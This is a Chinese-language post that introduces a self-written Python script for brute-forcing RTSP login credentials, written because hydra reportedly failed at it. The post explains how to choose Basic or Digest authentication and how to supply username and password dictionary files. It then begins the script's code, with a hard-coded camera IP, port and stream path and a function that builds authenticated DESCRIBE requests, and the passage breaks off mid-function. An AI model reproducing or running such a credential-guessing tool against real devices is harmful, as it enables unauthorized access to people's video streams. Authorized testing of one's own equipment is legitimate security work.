一、说明
hydra是说已实现了rtsp的爆力破解,但是使用时发现字典中明明已包含正确的用户名密码hydra却还没检测出来;
拦截数据包查看,感觉hydra只是尝试去匿名访问,并没有发送用户名密码去验证,所以自己写了个脚本。
二、脚本代码
rtsp有Basic和Digest两种验证方式,这里默认使用‘Basic’,如果想用‘Digest’方式将代码中的config_dict['brute_force_method']修改为‘Digest’
注意得自己在脚本的同目录下,放好“username.txt”(一行为一个用户名的形式)和"password.txt"(一行为一个密码的形式)两个字典文件
import socket import hashlib import base64 #define variables we need global config_dict config_dict = { "server_ip": "10.10.6.94", "server_port": 554, "server_path": "/chID=8&streamType=main", "user_agent": "RTSP Client", "buffer_len": 1024, "username_file": "username.txt", "password_file": "password.txt", "brute_force_method": 'Basic' } def gen_base_method_header(auth_64): global config_dict #build the prefix of msg to send str_base_method_header = 'DESCRIBE rtsp://'+config_dict["server_ip"]+':'+str(config_dict["server_port"])+config_dict["server_path"] + ' RTSP/1.0\r\n' str_base_method_header += '